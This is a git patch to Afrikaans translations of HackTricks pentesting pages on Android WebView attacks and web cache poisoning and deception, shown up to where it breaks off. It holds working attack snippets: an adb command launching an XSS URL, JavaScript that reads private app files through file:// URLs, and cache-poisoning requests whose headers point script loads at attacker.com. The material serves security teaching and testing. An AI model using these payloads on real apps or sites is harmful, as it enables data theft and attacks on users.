From 1c877a48eb28d88912a42f909e8cfccb18b07177 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 16 Mar 2024 10:06:00 +0000 Subject: [PATCH] Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md --- .../android-app-pentesting/webview-attacks.md | 104 +++++---- pentesting-web/cache-deception.md | 90 ++++---- pentesting-web/race-condition.md | 209 ++++++++++++++---- .../README.md | 179 ++++++++------- .../README.md | 86 +++---- 5 files changed, 410 insertions(+), 258 deletions(-) diff --git a/mobile-pentesting/android-app-pentesting/webview-attacks.md b/mobile-pentesting/android-app-pentesting/webview-attacks.md index 388e6348f..c2f9c116d 100644 --- a/mobile-pentesting/android-app-pentesting/webview-attacks.md +++ b/mobile-pentesting/android-app-pentesting/webview-attacks.md @@ -1,107 +1,112 @@ -# Webweergawe-aanvalle +# Webview Aanvalle
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-## Vereenvoudigde Gids oor WebView-konfigurasies en -veiligheid +## Gids oor WebView Konfigurasies en Sekuriteit -### Oorsig van WebView-gebreklikhede +### Oorsig van WebView Swakhede -'n Kritieke aspek van Android-ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en veiligheidspraktyke om risiko's wat verband hou met WebView-gebruik te verminder. +'n Kritiese aspek van Android-ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om risiko's geassosieer met WebView-gebruik te verminder. -![Voorbeeld van WebView](../../.gitbook/assets/image%20(718).png) +![WebView Voorbeeld](<../../.gitbook/assets/image (718).png>) ### **Lêertoegang in WebViews** -Standaard staan WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die `setAllowFileAccess()`-metode, beskikbaar sedert Android API-vlak 3 (Cupcake 1.5). Aansoeke met die **android.permission.READ_EXTERNAL_STORAGE**-toestemming kan lêers van eksterne stoorplek lees deur 'n lêer-URL-skema (`file://path/to/file`) te gebruik. +Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die `setAllowFileAccess()` metode, beskikbaar sedert Android API-vlak 3 (Cupcake 1.5). Aansoeke met die **android.permission.READ\_EXTERNAL\_STORAGE** toestemming kan lêers vanaf eksterne stoorplekke lees deur 'n lêer-URL-skema (`file://path/to/file`) te gebruik. -#### **Verouderde kenmerke: Universele en lêertoegang vanaf URL's** +#### **Verouderde Funksies: Universele en Lêertoegang vanaf URL's** -- **Universele toegang vanaf lêer-URL's**: Hierdie verouderde kenmerk het kruis-oorsprong-versoeke vanaf lêer-URL's toegelaat, wat 'n beduidende veiligheidsrisiko inhou as gevolg van potensiële XSS-aanvalle. Die verstekinstelling is gedeaktiveer (`false`) vir programme wat Android Jelly Bean en nuwer teiken. -- Om hierdie instelling te kontroleer, gebruik `getAllowUniversalAccessFromFileURLs()`. -- Om hierdie instelling te wysig, gebruik `setAllowUniversalAccessFromFileURLs(boolean)`. +* **Universele Toegang vanaf Lêer-URL's**: Hierdie verouderde funksie het kruis-oorsprongversoeke vanaf lêer-URL's toegelaat, wat 'n beduidende sekuriteitsrisiko vir moontlike XSS-aanvalle geskep het. Die verstekinstelling is gedeaktiveer (`false`) vir programme wat Android Jelly Bean en nuwer teiken. +* Om hierdie instelling te kontroleer, gebruik `getAllowUniversalAccessFromFileURLs()`. +* Om hierdie instelling te wysig, gebruik `setAllowUniversalAccessFromFileURLs(boolean)`. +* **Lêertoegang vanaf Lêer-URL's**: Hierdie funksie, ook verouderd, het toegang tot inhoud vanaf ander lêerskema-URL's beheer. Soos universele toegang, is die verstekinstelling gedeaktiveer vir verbeterde sekuriteit. +* Gebruik `getAllowFileAccessFromFileURLs()` om te kontroleer en `setAllowFileAccessFromFileURLs(boolean)` om in te stel. -- **Lêertoegang vanaf lêer-URL's**: Hierdie kenmerk, ook verouderd, beheer toegang tot inhoud vanaf ander lêerskema-URL's. Soos universele toegang, is die verstekinstelling gedeaktiveer vir verbeterde veiligheid. -- Gebruik `getAllowFileAccessFromFileURLs()` om te kontroleer en `setAllowFileAccessFromFileURLs(boolean)` om in te stel. +#### **Veilige Lêerlaai** -#### **Veilige lêerlaai** +Vir die deaktivering van lêersisteemtoegang terwyl steeds toegang tot bates en bronne, word die `setAllowFileAccess()` metode gebruik. Met Android R en hoër is die verstekinstelling `false`. -Vir die deaktivering van lêersisteemtoegang terwyl toegang tot bates en hulpbronne steeds behou word, word die `setAllowFileAccess()`-metode gebruik. Met Android R en hoër is die verstekinstelling `false`. -- Kontroleer met `getAllowFileAccess()`. -- Aktiveer of deaktiveer met `setAllowFileAccess(boolean)`. +* Kontroleer met `getAllowFileAccess()`. +* Aktiveer of deaktiveer met `setAllowFileAccess(boolean)`. #### **WebViewAssetLoader** -Die **WebViewAssetLoader**-klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s)-URL's om plaaslike bates en hulpbronne te benader, in lyn met die Same-Origin-beleid, wat CORS-bestuur vergemaklik. +Die **WebViewAssetLoader** klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s)-URL's vir toegang tot plaaslike bates en bronne, in ooreenstemming met die Same-Origin-beleid, wat CORS-bestuur fasiliteer. -### **JavaScript en Intent-skemahandtering** +### loadUrl -- **JavaScript**: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word deur middel van `setJavaScriptEnabled()`. Voorsoorsigtigheid word aanbeveel, aangesien die aktivering van JavaScript sonder behoorlike veiligheidsmaatreëls veiligheidskwessies kan veroorsaak. +Dit is 'n algemene funksie wat gebruik word om willekeurige URL's in 'n webviwe te laai: +```java +webview.loadUrl("") +``` +### **JavaScript en Intent Skema Hantering** -- **Intent-skema**: WebViews kan die `intent`-skema hanteer, wat potensieel kan lei tot uitbuitings as dit nie sorgvuldig bestuur word nie. 'n Voorbeeld van 'n kwesbaarheid het betrekking op 'n blootgestelde WebView-parameter "support_url" wat uitgebuit kon word om kruissite-skripsie (XSS) aanvalle uit te voer. +* **JavaScript**: Afgeskakel per standaard in WebViews, dit kan geaktiveer word deur `setJavaScriptEnabled()`. Voorsoichtigheid word aanbeveel aangesien die aktivering van JavaScript sonder behoorlike beskerming sekuriteitskwessies kan veroorsaak. +* **Intent Skema**: WebViews kan die `intent` skema hanteer, wat moontlik kan lei tot uitbuitings as dit nie sorgvuldig bestuur word nie. 'n Voorbeeld van 'n kwesbaarheid het 'n blootgestelde WebView parameter "support\_url" ingesluit wat uitgebuit kon word om kruis-webwerf skripsing (XSS) aanvalle uit te voer. -![Kwesbare WebView](../../.gitbook/assets/image%20(719).png) +![Kwesbare WebView](<../../.gitbook/assets/image (719).png>) -Voorbeeld van uitbuiting met behulp van adb: +Uitbuitingsvoorbeeld deur adb te gebruik: + +{% code overflow="wrap" %} ```bash adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html" ``` ### Javascript-brug -'n Funksie word deur Android voorsien wat dit moontlik maak vir **JavaScript** in 'n WebView om **nagtiewe Android-app-funksies** aan te roep. Dit word bereik deur die gebruik van die `addJavascriptInterface`-metode, wat JavaScript integreer met nagtiewe Android-funksies, bekend as 'n _WebView JavaScript-brug_. Voorsoorsigtigheid word aanbeveel, aangesien hierdie metode alle bladsye binne die WebView in staat stel om toegang te verkry tot die geregistreerde JavaScript-brugobjek, wat 'n veiligheidsrisiko inhou as sensitiewe inligting deur hierdie brûe blootgestel word. +'n Funksie word deur Android voorsien wat **JavaScript** in 'n WebView moontlik maak om **nagtiewe Android-app-funksies** aan te roep. Dit word bereik deur die `addJavascriptInterface`-metode te gebruik, wat JavaScript integreer met nagtiewe Android-funksionaliteite, genoem as 'n _WebView JavaScript-brug_. Voorsoorsigtigheid word aanbeveel aangesien hierdie metode alle bladsye binne die WebView toelaat om toegang te verkry tot die geregistreerde JavaScript-brug-objek, wat 'n sekuriteitsrisiko inhou as sensitiewe inligting deur hierdie brûe blootgestel word. -### Belangrike oorwegings - -- **Uiterste voorsoorsigtigheid is nodig** vir programme wat Android-weergawes onder 4.2 teiken as gevolg van 'n kwesbaarheid wat afstandsbeheer deur middel van skadelike JavaScript moontlik maak deur refleksie te benut. +* **Uiterste versigtigheid is nodig** vir programme wat Android-weergawes onder 4.2 teiken weens 'n kwesbaarheid wat afgeleë kode-uitvoering deur skadelike JavaScript moontlik maak deur refleksie te benut. #### Implementering van 'n JavaScript-brug -- **JavaScript-brûe** kan met nagtiewe kode interaksie hê, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word: +* **JavaScript-brûe** kan met nagtiewe kode interaksie hê, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word: ```javascript @JavascriptInterface public String getSecret() { return "SuperSecretPassword"; }; ``` -- JavaScript-brug is geaktiveer deur 'n koppelvlak by die WebView te voeg: +* JavaScript-brug is geaktiveer deur 'n koppelvlak by die WebView toe te voeg: ```javascript webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge"); webView.reload(); ``` -- Potensiële uitbuiting deur middel van JavaScript, byvoorbeeld deur 'n XSS-aanval, maak dit moontlik om blootgestelde Java-metodes aan te roep: +* Potensiële uitbuiting deur middel van JavaScript, byvoorbeeld deur 'n XSS-aanval, maak dit moontlik om blootgestelde Java-metodes aan te roep: ```html ``` -- Om risiko's te verminder, **beperk die gebruik van die JavaScript-brug** tot kode wat saam met die APK versprei word en voorkom die laai van JavaScript vanaf afgeleë bronne. Stel die minimum API-vlak op 17 vir ouer toestelle. +* Om risiko's te verminder, **beperk JavaScript-bruggebruik** tot kode wat saam met die APK gestuur word en voorkom dat JavaScript vanaf afgeleë bronne gelaai word. Stel vir ouer toestelle die minimum API-vlak op 17 in. -### Refleksie-gebaseerde afstandsbeheeruitvoering (RCE) +### Refleksie-gebaseerde Remote Kode-uitvoering (RCE) -- 'n Gedokumenteerde metode maak dit moontlik om RCE te bereik deur refleksie deur die uitvoering van 'n spesifieke lading. Die `@JavascriptInterface`-annotasie voorkom egter ongemagtigde metode-toegang, wat die aanvalsvlak beperk. +* 'n Gedokumenteerde metode maak dit moontlik om RCE deur refleksie te bereik deur 'n spesifieke lading uit te voer. Die `@JavascriptInterface`-annotasie voorkom egter ongemagtigde metode-toegang en beperk die aanvalsoppervlak. -### Afstandsoplossing +### Afgeleë Foutopsporing -- **Afstandsoplossing** is moontlik met **Chrome Developer Tools**, wat interaksie en willekeurige JavaScript-uitvoering binne die WebView-inhoud moontlik maak. +* **Afgeleë foutopsporing** is moontlik met **Chrome Developer Tools**, wat interaksie en willekeurige JavaScript-uitvoering binne die WebView-inhoud moontlik maak. -#### Aktivering van afstandsoplossing +#### Afgeleë Foutopsporing Aktiveer -- Afstandsoplossing kan geaktiveer word vir alle WebViews binne 'n toepassing deur: +* Afgeleë foutopsporing kan geaktiveer word vir alle WebViews binne 'n toepassing deur: ```java if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { WebView.setWebContentsDebuggingEnabled(true); } ``` -- Om voorwaardelik foutopsporing in te skakel gebaseer op die toestand van die toepassing se debuggable eigenschap: +* Om voorwaardelik die foutopsporing te aktiveer gebaseer op die toestand van die aansoek se foutopsporingsvermoë: ```java if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) @@ -110,7 +115,7 @@ if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) ``` ## Uitlek van willekeurige lêers -- Toon die uitlek van willekeurige lêers deur gebruik te maak van 'n XMLHttpRequest: +* Wys die uitlek van willekeurige lêers deur middel van 'n XMLHttpRequest: ```javascript var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { @@ -122,20 +127,23 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat xhr.send(null); ``` ## Verwysings + * [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html) * [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android) * [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView) +* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1) +* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
diff --git a/pentesting-web/cache-deception.md b/pentesting-web/cache-deception.md index 4be7b56ee..ea78d1c55 100644 --- a/pentesting-web/cache-deception.md +++ b/pentesting-web/cache-deception.md @@ -2,11 +2,11 @@
-Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Andere maniere om HackTricks te ondersteun: -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -18,63 +18,63 @@ Andere maniere om HackTricks te ondersteun: \ Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Vandaag Toegang: +Kry Toegang Vandag: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Die Verskil -> **Wat is die verskil tussen web cache vergiftiging en web cache misleiding?** +> **Wat is die verskil tussen web-kasvergiftiging en web-kas-misleiding?** > -> * In **web cache vergiftiging**, veroorsaak die aanvaller dat die aansoek 'n paar skadelike inhoud in die cache stoor, en hierdie inhoud word van die cache na ander aansoekgebruikers bedien. -> * In **web cache misleiding**, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache. +> * In **web-kasvergiftiging**, veroorsaak die aanvaller dat die aansoek 'n paar skadelike inhoud in die kas stoor, en hierdie inhoud word van die kas na ander aansoekgebruikers bedien. +> * In **web-kas-misleiding**, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die kas stoor, en die aanvaller haal dan hierdie inhoud uit die kas. -## Cache Vergiftiging +## Kas Vergiftiging -Cache vergiftiging is daarop gemik om die kliëntkant-cache te manipuleer om kliënte te dwing om bronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak is afhanklik van die gewildheid van die betrokke bladsy, aangesien die besmette respons uitsluitlik aan gebruikers bedien word wat die bladsy besoek tydens die tydperk van cache besmetting. +Kasvergiftiging is daarop gemik om die kliëntkantkas te manipuleer om kliënte te dwing om hulpbronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak is afhanklik van die gewildheid van die betrokke bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers bedien word wat die bladsy tydens die tydperk van kasbesoedeling besoek. -Die uitvoering van 'n cache vergiftigingsaanval behels verskeie stappe: +Die uitvoering van 'n kasvergiftigingsaanval behels verskeie stappe: -1. **Identifikasie van Ongekenmerkte Insette**: Hierdie is parameters wat, alhoewel nie nodig vir 'n versoek om in die cache gestoor te word nie, die respons wat deur die bediener teruggegee word, kan verander. Die identifisering van hierdie insette is noodsaaklik omdat hulle uitgebuit kan word om die cache te manipuleer. -2. **Uitbuiting van die Ongekenmerkte Insette**: Nadat die ongekenmerkte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se respons op 'n manier te verander wat die aanvaller bevoordeel. -3. **Verseker dat die Vergiftigde Respons in die Cache Gestoor word**: Die finale stap is om te verseker dat die gemanipuleerde respons in die cache gestoor word. Op hierdie manier sal enige gebruiker wat die betrokke bladsy besoek terwyl die cache vergiftig is, die besmette respons ontvang. +1. **Identifikasie van Ongekenmerkte Insette**: Hierdie is parameters wat, alhoewel nie nodig vir 'n versoek om in die kas gestoor te word nie, die reaksie wat deur die bediener teruggegee word, kan verander. Die identifisering van hierdie insette is noodsaaklik omdat hulle uitgebuit kan word om die kas te manipuleer. +2. **Uitbuiting van die Ongekenmerkte Insette**: Nadat die ongekenmerkte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe hierdie parameters misbruik kan word om die bediener se reaksie op 'n manier te verander wat die aanvaller bevoordeel. +3. **Verseker dat die Vergiftigde Reaksie in die Kas Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die kas gestoor word. Op hierdie manier sal enige gebruiker wat die betrokke bladsy toegang terwyl die kas vergiftig is, die besoedelde reaksie ontvang. -### Ontdekking: Kontroleer HTTP koppe +### Ontdekking: Kontroleer HTTP-koppe -Gewoonlik, wanneer 'n respons in die cache **gestoor is**, sal daar 'n **kop aandui** wees, jy kan kyk na watter koppe jy moet oplet in hierdie pos: [**HTTP Cache koppe**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Gewoonlik, wanneer 'n reaksie in die kas **gestoor is**, sal daar 'n **kop aandui** wees, jy kan nagaan op watter koppe jy moet let in hierdie pos: [**HTTP-kas-koppe**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Ontdekking: Caching 400 kode +### Ontdekking: Kas 400-kode -As jy dink dat die respons in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte kop** te stuur, wat met 'n **status kode 400** beantwoord behoort te word. Probeer dan om die versoek normaal te benader en as die **respons 'n 400 status kode** is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).\ +As jy dink dat die reaksie in 'n kas gestoor word, kan jy probeer om **versoeke met 'n slegte kop** te stuur, wat met 'n **statuskode 400** beantwoord behoort te word. Probeer dan om die versoek normaal te benader en as die **reaksie 'n 400-statuskode** is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).\ 'n Sleg gekonfigureerde kop kan net `\:` as 'n kop wees.\ -_Merk op dat soms hierdie soorte status kodes nie in die cache gestoor word nie, so hierdie toets sal nutteloos wees._ +_Merk op dat soms hierdie soorte statuskodes nie in die kas gestoor word nie, so sal hierdie toets nutteloos wees._ ### Ontdekking: Identifiseer en evalueer ongekenmerkte insette -Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om parameters en koppe te **brute-force** wat die respons van die bladsy mag verander. Byvoorbeeld, 'n bladsy kan die kop `X-Forwarded-For` gebruik om aan te dui dat die kliënt die skrips van daar moet laai: +Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om parameters en koppe te **brute force** wat die reaksie van die bladsy mag verander. Byvoorbeeld, 'n bladsy kan die kop `X-Forwarded-For` gebruik om aan te dui dat die kliënt die skrips van daar moet laai: ```markup ``` -### Ontlok 'n skadelike reaksie van die agterste bediener +### Lokaliseer 'n skadelike reaksie van die agterste bediener Met die geïdentifiseerde parameter/kop, ondersoek hoe dit **gesaniteer** word en **waar** dit **weerspieël** word of die reaksie van die kop affekteer. Kan jy dit enigsins misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? Voer 'n DoS uit?...) -### Kry die gereageerde gekašeer +### Kry die gekašte reaksie -Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**kop** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy gekašeer kry. Afhangend van die bron wat jy in die kas wil kry, kan dit 'n rukkie neem, jy moet dalk vir verskeie sekondes probeer.\ -Die kop **`X-Cache`** in die reaksie kan baie nuttig wees omdat dit die waarde **`miss`** kan hê wanneer die versoek nie gekašeer was nie en die waarde **`hit`** wanneer dit gekašeer is.\ -Die kop **`Cache-Control`** is ook interessant om te weet of 'n bron gekašeer word en wanneer die volgende keer die bron weer gekašeer sal word: `Cache-Control: public, max-age=1800`\ -'n Ander interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe** aan te dui wat as deel van die kas sleutel hanteer word selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer ken wat hy teiken, kan hy die kas vergiftig vir die gebruikers wat daardie spesifieke `User-Agent` gebruik.\ +Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**kop** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy gekašte kry. Afhangende van die hulpbron wat jy in die kas probeer kry, kan dit 'n rukkie neem, jy moet dalk vir verskeie sekondes probeer.\ +Die kop **`X-Cache`** in die reaksie kan baie nuttig wees omdat dit die waarde **`miss`** kan hê wanneer die versoek nie gekašte is nie en die waarde **`hit`** wanneer dit gekašte is.\ +Die kop **`Cache-Control`** is ook interessant om te weet of 'n hulpbron gekašteer word en wanneer die volgende keer die hulpbron weer gekašteer sal word: `Cache-Control: public, max-age=1800`\ +'n Ander interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe** aan te dui wat as deel van die kas sleutel behandel word selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer ken wat hy teiken, kan hy die kas vir die gebruikers wat daardie spesifieke `User-Agent` gebruik, vergiftig.\ 'n Ander kop wat verband hou met die kas is **`Age`**. Dit definieer die tyd in sekondes wat die voorwerp in die proksikas was. -Wees **versigtig met die koppe** wat jy gebruik wanneer jy 'n versoek kaseer, omdat sommige van hulle onverwags as **gesleutel** gebruik kan word en die slagoffer sal daardie selfde kop moet gebruik. Toets altyd 'n Kaskasvergiftiging met **verskillende webblaaier** om te sien of dit werk. +Wees **versigtig met die koppe** wat jy gebruik wanneer jy 'n versoek kashou, omdat sommige van hulle onverwags as **gesleutel** gebruik kan word en die slagoffer sal daardie selfde kop moet gebruik. Toets altyd 'n Kaskvergiftiging met **verskillende webblaaier** om te sien of dit werk. ## Uitbuitingsvoorbeelde ### Maklikste voorbeeld 'n Kop soos `X-Forwarded-For` word ongesaniteer in die reaksie weerspieël.\ -Jy kan 'n basiese XSS-lading stuur en die kas vergiftig sodat almal wat die bladsy besoek, XSS sal wees: +Jy kan 'n basiese XSS-lading stuur en die kas vergiftig sodat almal wat die bladsy besoek, met XSS geïnfekteer sal word: ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com @@ -92,11 +92,11 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` ### Cache vergiftiging met padtraversal om API-sleutel te steel -[**Hierdie uiteensetting verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enige iets wat ooreenstem met `/share/*` sal gelaai word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het. +[**Hierdie uiteensetting verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat ooreenstem met `/share/*` sal gelaai word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het. ### Gebruik van meervoudige koppe om webkachevergiftigingskwesbaarhede te misbruik -Soms sal jy **veral meerdere ongesleutelde insette** moet misbruik om 'n kache te kan misbruik. Byvoorbeeld, jy mag 'n **Oop herlei** vind as jy `X-Forwarded-Host` instel op 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` op `http`. **As** die **bediener** al die **HTTP**-versoeke **na HTTPS deurstuur** en die kop `X-Forwarded-Scheme` gebruik as die domeinnaam vir die herlei. Jy kan beheer waarheen die bladsy verwys word deur die herleiing. +Soms sal jy **veral meerdere ongesleutelde insette** moet misbruik om 'n kache te kan misbruik. Byvoorbeeld, jy mag 'n **Oop herleiing** vind as jy `X-Forwarded-Host` instel op 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` op `http`. **As** die **bediener** al die **HTTP**-versoeke **na HTTPS deurstuur** en die kop `X-Forwarded-Scheme` gebruik as die domeinnaam vir die herleiing. Jy kan beheer waarheen die bladsy verwys word deur die herleiing. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -105,7 +105,7 @@ X-Forwarded-Scheme: http ``` ### Uitbuiting met beperkte `Vary`-kop -Indien jy vind dat die **`X-Host`**-kop gebruik word as **domeinnaam om 'n JS-hulpbron te laai** maar die **`Vary`**-kop in die respons aandui **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te eksfiltreer en die cache te vergiftig deur daardie gebruikeragent te gebruik: +As jy vind dat die **`X-Host`**-kop gebruik word as **domeinnaam om 'n JS-hulpbron te laai** maar die **`Vary`**-kop in die respons dui aan **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te eksfiltreer en die cache te vergiftig deur daardie gebruikeragent te gebruik: ```markup GET / HTTP/1.1 Host: vulnerbale.net @@ -114,18 +114,18 @@ X-Host: attacker.com ``` ### Uitbuiting van HTTP-cachevergiftiging deur misbruik te maak van HTTP-aanvraagsmokkelarij -Leer hier oor hoe om [Cache-vergiftigingsaanvalle uit te voer 